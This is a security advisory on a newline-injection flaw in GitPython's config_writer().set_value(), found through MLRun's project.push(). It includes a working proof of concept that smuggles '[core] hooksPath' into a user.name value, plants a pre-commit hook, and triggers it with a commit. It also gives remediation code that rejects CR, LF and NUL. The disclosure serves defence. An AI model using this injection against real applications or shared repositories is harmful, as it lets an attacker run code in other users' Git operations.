GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath

GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.

The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented [core] stanza as a section header, so the injected core.hooksPath becomes effective configuration.

This was found while auditing MLRun's project.push() method, which passes author_name and author_email directly to config_writer().set_value() with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in .git/config.

PoC (standalone, no MLRun required):

import git, subprocess, os

repo = git.Repo("/tmp/testrepo")

with repo.config_writer() as cw:
    cw.set_value("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks")

r = subprocess.run(["git", "config", "core.hooksPath"], cwd="/tmp/testrepo", capture_output=True, text=True)
assert r.returncode == 0
print(r.stdout.strip())  # /tmp/hooks

os.makedirs("/tmp/hooks", exist_ok=True)
open("/tmp/hooks/pre-commit", "w").write("#!/bin/sh\nid > /tmp/pwned\n")
os.chmod("/tmp/hooks/pre-commit", 0o755)

repo.index.add(["README"])
repo.git.commit(m="test")
print(open("/tmp/pwned").read())  # uid=...

Tested on GitPython 3.1.46, git 2.39+.

Impact: This is persistent repo config poisoning. Any user who can supply author_name or author_email to an application calling config_writer().set_value() can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the .git/config of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.

Remediation: set_value() should raise on CR, LF, or NUL in values rather than silently pass them through:

import re

if isinstance(value, (str, bytes)) and re.search(r"[\r\n\x00]", str(value)):
    raise ValueError("Git config values must not contain CR, LF, or NUL")

Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.

Affected wherever config_writer().set_value(section, key, user_input) is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their set_value() call sites for externally influenced inputs.